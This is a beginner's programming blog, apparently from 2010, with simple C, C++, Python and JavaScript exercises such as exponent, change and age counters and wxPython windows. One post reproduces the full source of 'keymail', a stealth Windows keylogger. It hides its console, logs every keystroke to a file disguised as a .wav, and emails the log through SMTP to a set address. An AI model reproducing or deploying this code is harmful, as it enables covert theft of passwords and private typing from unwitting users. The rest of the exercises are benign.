Friday, March 12, 2010

python exponent counter

this code was a conversion from my prevous code i have written in C, what i like from python are it simplicity.... as you can compare from my prevous code










#exponent counter

y=input("input value : ")
v=input("input limit : ")

for x in range (v+1):
z=y**x
print y, "exponent", x, "=", z

exponent counter with C

this program ask user input for base value and the limit value of the exponent


variabel explanation:



x is used for interval value
y is used for base value
z is used for exponent container
v is used for limit value













#include <stdio.h>
#include <math.h>

int main()
{
int x,y;
int z,v;

printf("\ninput value : ");scanf("%d", &y);
printf("\ninput limit : ");scanf("%d", &v);

for(x=0;x<=v;x++){
z=pow(y,x);
printf("\n%d exponent %d is %d",y ,x , z);
}

return 0;

Monday, March 8, 2010

change currency counter in C

from my previous program program penghitung uang pecahan dengan python i've rewrite the code in C



















#include <stdio.h>

/*change currency counter program*/



int main(){

int amount, result, rest;



/*user input*/

printf ("welcome to amount currency counter program \n");

printf ("input your amount change ");

scanf ("%d", &amount);



/*mulai proses*/

result=amount/100000;

rest=amount%100000;

printf ("your change amount : \n");

printf ("%d", result); printf(" seratusribuan \n");

if (rest>=50000){

result=rest/50000;

rest=rest%50000;

printf("%d", result); printf(" limapuluhribuan \n");

}

if (rest>=20000){

result=rest/20000;

rest=rest%20000;

printf("%d", result); printf(" duapuluhribuan \n");

}

if (rest>=10000){

result=rest/10000;

rest=rest%10000;

printf("%d", result); printf(" sepuluhribuan \n");

}

if (rest>=5000){

result=rest/5000;

rest=rest%5000;

printf("%d", result); printf(" limaribuan \n");

}

if (rest>=1000){

result=rest/1000;

rest=rest%1000;

printf("%d", result); printf (" seribuan \n");

}

if (rest>=500){

result=rest/500;

rest=rest%500;

printf("%d", result); printf (" limaratusan \n");

}

if (rest>=100){

result=rest/100;

rest=rest%100;

printf("%d", result); printf (" seratusan \n");

}

getchar();

return 0;

}





change currency counter python

after visiting allaboutalgoritma, i've interested seeing their change currency, so i decided to convert it in python. forgive me if you're confused with the language cause it's indonesian



















#change currency program



print "welcome to my change currency program"



amount = input("your money amount")

result=amount/100000

rest=amount%100000

print "your change amount"

print result, "seratusribuan"

if (rest>=50000):

result=rest/50000

rest=rest%50000

print result, "limapuluhribuan"

if (rest>=20000):

result=rest/20000

rest=rest%20000

print result, "duapuluhribuan"

if (rest>=10000):

result=rest/10000

rest=rest%10000

print result, "sepuluhribuan"

if (rest>=5000):

result=rest/5000

rest=rest%5000

print result, "limaribuan"

if (rest>=1000):

result=rest/1000

rest=rest%1000

print result, "seribuan"

if (rest>=500):

result=rest/500

rest=rest%500

print result, "limaratusan"

if (rest>=100):

result=rest/100

rest=rest%100

print result, "seratusan"

else:

print "rupiah"



Sunday, March 7, 2010

age counter in C++

here is my simple age counter program, the concept still same likemy previous code's



#include <iostream>
//age counter program

using namespace std;

int main()
{
//variable declaration
char name[32];
int bday, bmonth, byear;
int tday, tmonth, tyear;
int bdate, tdate;
int day, month, year;

//input process
cout<<"who are you? ";
cin>> name;

//input birth
cout<<"input birth day ";
cin>> bday;
cout<<"input birth month ";
cin>> bmonth;
cout<<"input birth year ";
cin>> byear;

//input recent
cout<<"input recent day ";
cin>> tday;
cout<<"input recent month ";
cin>> tmonth;
cout<<"input recent year ";
cin>> tyear;
cin.ignore();

//algorythm processing 
bdate=bday+(bmonth*30)+(byear*365);
tdate=tday+(tmonth*30)+(tyear*365);

//result processing
day=(tdate-bdate)%365%30;
month=(tdate-bdate)%365/30;
year=(tdate-bdate)/365;

//result
cout<< name;
cout<< ","<< day<<","<< month<< ","<<year;

//commentation
if (year<=5){
cout<<" you're still baby";
}
else if (year<=17){
cout<<" you're still young";
}
else if (year<=40){
cout<<" you're an adult";
}
else if (year<=99){
cout<<" you're old enough";
}
else {
cout<<" are you serious?";
}

cin.get();
return 1;
}


age counter in C

this was the C version of my precious age counter program

















#include <stdio.h>

#include <stdlib.h>

#include <string.h>

/*age counter program*/



int main()

{

/*variable declaration*/

char name[32];

int bday, bmonth, byear;

int tday, tmonth, tyear;

int tdate, bdate;

int day, month, year;



/*user input*/

printf ("who are you \n");

scanf ("%s[^\n]", name);



/*input birth day*/

printf ("input birth day \n");

scanf ("%d", &bday);

printf ("input birth month \n");

scanf ("%d", &bmonth);

printf ("input birth year \n");

scanf ("%d", &byear);



/*input recent day*/

printf ("input recent day \n");

scanf ("%d", &tday);

printf ("input recent month \n");

scanf ("%d", &tmonth);

printf ("input recent year \n");

scanf ("%d", &tyear);



/*algorhytm processing*/

bdate=bday+(bmonth*30)+(byear*365);

tdate=tday+(tmonth*30)+(tyear*365);



/*result processing*/

year=(tdate-bdate)/365;

month=(tdate-bdate)%365/30;

day=(tdate-tmonth)%365%30;



/*result*/

printf("%s %d %d %d", name, day, month, year);



/*comment about age*/

if (year <= 5) {

printf ("\n you're still baby \n");

}

else if (year <= 17) {

printf ("\n you're still young\n");

}

else if (year <= 40) {

printf ("\n you're an adult \n");

}

else if (year <= 99) {

printf ("\n you're old enough \n");

}

else    {

printf ("\n are you serious? \n");

}





getchar();

return 0;

}



Hello world in C

this is a Hello world in C, yes! i know, that many other site's has create same topic.

















#include <stdio.h>



int main()

{

printf ("Hello world!");

getchar();

return 0;

}

Hello world in C++

there's a tradition in programming that newbie should success performing hello world, so this is my hello world



























#include <iostream>



using namespace std;



int main()

{

cout<<"Hello World!\n";

cin.get();

}

Saturday, March 6, 2010

create dialogbox with javascript

this example will create an "pop up" that ask user input, enjoy it











<html>


<head>


<script type="text/javascript">
alert("Welcome!")
var answer=confirm("Enter website?")
if (answer)
window.location=<a href="http://suryaadinugraha.blogspot.com">http://suryaadinugraha.blogspot.com</a>

</script>


</head>


<body>


<script"text/javascript">
var answer=prompt("who are you?")
alert("Hallo "+answer)
</script>


</body>


</html>

keymail, email key logger

honestly, i never use this keymail, but i decided to posting this code, so you can help me understanding this code


i've got this code from IndonesiaHacker.org , but it's not 100% pure anymore, there's some line i've changed. but that will not affect the program, cause i'm just change the commentation


i've using DevC++ 4.9.9.2 portable. and got some problem when compiling, after i've read instruction in line 37-40. it's all clear































/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

* *

* File: keymail.c Ver. 0.7 *

* *

* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *

* and email to whoever is set in the #define options at compile time. *

* This code is for educational uses, don't be an ass hat with it. *

* White Scorpion (www.white-scorpion.nl) did the initial work on the key *

* logger, but he has gone on to bigger and better things. *

* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *

* some code to make it send emails, along with a few other changes. *

* If some of the code is crappy, blame Irongeek and not White Scorpion. *

* Please send Irongeek improvements and he will post the changes and give you *

* credit for your contributions. *

* *

* This program is free software; you can redistribute it and/or *

* modify it under the terms of the GNU General Public License *

* as published by the Free Software Foundation; either version 2 *

* of the License, or (at your option) any later version. *

* *

* This program is distributed in the hope that it will be useful, *

* but WITHOUT ANY WARRANTY; without even the implied warranty of *

* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *

* GNU General Public License for more details. *

* *

* You should have received a copy of the GNU General Public License *

* along with this program; if not, write to the Free Software *

* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *

* *

* Change log: *

* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *

* 6/22/06 Added the date and time functionality using ctime and fixed *

* a bug where subject was being defined twice.(ThVoidedLine) *

* *

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/*

Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:

Linker error] undefined reference to `WSAStartup@8'

Add this:

-lws2_32

to Tools->Compiler Options under the section on compile flags.

*/



#include <windows.h>

#include <stdio.h>

#include <winuser.h>

#include <windowsx.h>

#include <time.h>

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage);

#define BUFSIZE 800

#define waittime 500

/*If you don't know the mail exchange server for an address for the following

"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for

whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR

IT WILL NOT WORK!!! */

#define cmailserver "smtp.gmail.com"

#define cemailto "cantik@gmail.com"

#define cemailfrom "cantik@yahoo.co.id"

#define LogLength 100

#define FileName "sound.wav"

#define SMTPLog "ring.wav"

#define cemailsubject "Logged"



int test_key(void);

int main(void)

{

/*/Uncomment the lines below to put the keylogger in stealh mode.*/

HWND stealth; /*creating stealth*/

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);



{FILE *file;

file=fopen(FileName,"a+");

time_t theTime=time(0);

fputs("\nStarted logging: ", file);

fputs(ctime(&theTime),file);

fclose(file);

}



/* if (test==2)

{//the path in which the file needs to be

char *path="c:\\%windir%\\svchost.exe";

create=create_key(path);

} */



int t=get_keys();

return t;

}



int get_keys(void)

{

int freadindex;

char *buf;

long len;

FILE *file;

file=fopen(FileName,"a+");





short character;

while(1)

{

sleep(10);/*to prevent 100% cpu usage*/

for(character=8;character<=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{

FILE *file;

file=fopen(FileName,"a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character>=39)&&(character<=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character>64)&&(character<91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("\r\n[SHIFT]\r\n",file);

fclose(file);

break;

case VK_RETURN:

fputs("\r\n[ENTER]\r\n",file);

fclose(file);

break;

case VK_BACK:

fputs("\r\n[BACKSPACE]\r\n",file);

fclose(file);

break;

case VK_TAB:

fputs("\r\n[TAB]\r\n",file);

fclose(file);

break;

case VK_CONTROL:

fputs("\r\n[CTRL]\r\n",file);

fclose(file);

break;

case VK_DELETE:

fputs("\r\n[DEL]\r\n",file);

fclose(file);

break;

case VK_OEM_1:

fputs("\r\n[;:]\r\n",file);

fclose(file);

break;

case VK_OEM_2:

fputs("\r\n[/?]\r\n",file);

fclose(file);

break;

case VK_OEM_3:

fputs("\r\n[`~]\r\n",file);

fclose(file);

break;

case VK_OEM_4:

fputs("\r\n[ [{ ]\r\n",file);

fclose(file);

break;

case VK_OEM_5:

fputs("\r\n[\\|]\r\n",file);

fclose(file);

break;

case VK_OEM_6:

fputs("\r\n[ ]} ]\r\n",file);

fclose(file);

break;

case VK_OEM_7:

fputs("\r\n['\"]\r\n",file);

fclose(file);

break;

case 187:

fputc('+',file);

fclose(file);

break;

case 188:

fputc(',',file);

fclose(file);

break;

case 189:

fputc('-',file);

fclose(file);

break;

case 190:

fputc('.',file);

fclose(file);

break;

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("\r\n[CAPS LOCK]\r\n",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}

FILE *file;

file=fopen(FileName,"rb");

fseek(file,0,SEEK_END); /*go to end*/

len=ftell(file); /*get position at end (length)*/

if(len>=LogLength) {

fseek(file,0,SEEK_SET);/*/go to beg.*/

buf=(char *)malloc(len);/*malloc buffer*/

freadindex=fread(buf,1,len,file);/*read into buffer*/

buf[freadindex] = '\0';/*Extra bit I have to add to make it a sting*/

MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

fclose(file);

file=fopen(FileName,"w");

}



fclose(file);

/*free (buf);*/



}

return EXIT_SUCCESS;

}



int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

SOCKET sockfd;

WSADATA wsaData;

FILE *smtpfile;



#define bufsize 300

int bytes_sent; /* Sock FD */

int err;

struct hostent *host; /* info from gethostbyname */

struct sockaddr_in dest_addr; /* Host Address */

char line[1000];

char *Rec_Buf = (char*) malloc(bufsize+1);

smtpfile=fopen(SMTPLog,"a+");

if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {

fputs("WSAStartup failed",smtpfile);

WSACleanup();

return -1;

}

if ( (host=gethostbyname(mailserver)) == NULL) {

perror("gethostbyname");

exit(1);

}

memset(&dest_addr,0,sizeof(dest_addr));

memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);



/* Prepare dest_addr */

dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */

dest_addr.sin_port= htons(25); /* PORT defined above */



/* Get socket */



if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {

perror("socket");

exit(1);

}

/* Connect !*/

fputs("Connecting....\n",smtpfile);



if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){

perror("connect");

exit(1);

}

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"helo me.somepalace.com\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"MAIL FROM:<");

strncat(line,emailfrom,strlen(emailfrom));

strncat(line,">\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"RCPT TO:<");

strncat(line,emailto,strlen(emailto));

strncat(line,">\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"DATA\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

sleep(waittime);

strcpy(line,"To:");

strcat(line,emailto);

strcat(line,"\n");

strcat(line,"From:");

strcat(line,emailfrom);

strcat(line,"\n");

strcat(line,"Subject:");

strcat(line,emailsubject);

strcat(line,"\n");

strcat(line,emailmessage);

strcat(line,"\r\n.\r\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

strcpy(line,"quit\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';

fputs(Rec_Buf,smtpfile);

fclose(smtpfile);

#ifdef WIN32

closesocket(sockfd);

WSACleanup();

#else

close(sockfd);

#endif

}



Friday, March 5, 2010

create a empty window with wx.python

this was the basic exercise in GUI programming, in here i make a empty window using wxpython





























import wx



class aplikasi(wx.App):

def OnInit(self):

self.frame=wx.Frame(None)

self.frame.Show()

self.SetTopWindow(self.frame)

return True



AplikasiKu=aplikasi()

AplikasiKu.MainLoop




nanti hasilnya seperti gambar di bawah ini




windowpy.GIF

simple GUI calculator with wxpython

here was an wxpython calculator taht i've copied from http://pythonwise.blogspot.com/2006/05/wxpython-calculator-in-50-lines-of.html , and written by Miki Tebeka































from __future__ import division



__author__ = "Miki Tebeka

"

__version__ = "0.0.2"



# Calculator GUI:



# ___________v

# [7][8][9][/]

# [4][5][6][*]

# [1][2][3][-]

# [0][.][C][+]

# [ = ]



import wx

# So we can evaluate "sqrt(8)"

from math import *



class Calculator(wx.Dialog):

'''Main calculator dialog'''

def __init__(self):

title = "Calculator version %s" % __version__

wx.Dialog.__init__(self, None, -1, title)

sizer = wx.BoxSizer(wx.VERTICAL) # Main vertical sizer



# ____________v

self.display = wx.ComboBox(self, -1) # Current calculation

sizer.Add(self.display, 0, wx.EXPAND) # Add to main sizer



# [7][8][9][/]

# [4][5][6][*]

# [1][2][3][-]

# [0][.][C][+]

gsizer = wx.GridSizer(4, 4)

for row in (("7", "8", "9", "/"),

("4", "5", "6", "*"),

("1", "2", "3", "-"),

("0", ".", "C", "+")):

for label in row:

b = wx.Button(self, -1, label)

gsizer.Add(b)

self.Bind(wx.EVT_BUTTON, self.OnButton, b)

sizer.Add(gsizer, 1, wx.EXPAND)



# [ = ]

b = wx.Button(self, -1, "=")

self.Bind(wx.EVT_BUTTON, self.OnButton, b)

sizer.Add(b, 0, wx.EXPAND)

self.equal = b



# Set sizer and center

self.SetSizer(sizer)

sizer.Fit(self)

self.CenterOnScreen()



def OnButton(self, evt):

'''Handle button click event'''

# Get title of clicked button

label = evt.GetEventObject().GetLabel()



if label == "=": # Calculate

try:

compute = self.display.GetValue()

# Ignore empty calculation

if not compute.strip():

return



# Calculate result

result = eval(compute)



# Add to history

self.display.Insert(compute, 0)



# Show result

self.display.SetValue(str(result))

except Exception, e:

wx.LogError(str(e))

return



elif label == "C": # Clear

self.display.SetValue("")



else: # Just add button text to current calculation

self.display.SetValue(self.display.GetValue() + label)

self.equal.SetFocus() # Set the [=] button in focus



if __name__ == "__main__":

# Run the application

app = wx.PySimpleApp()

dlg = Calculator()

dlg.ShowModal()

dlg.Destroy()






calc.jpg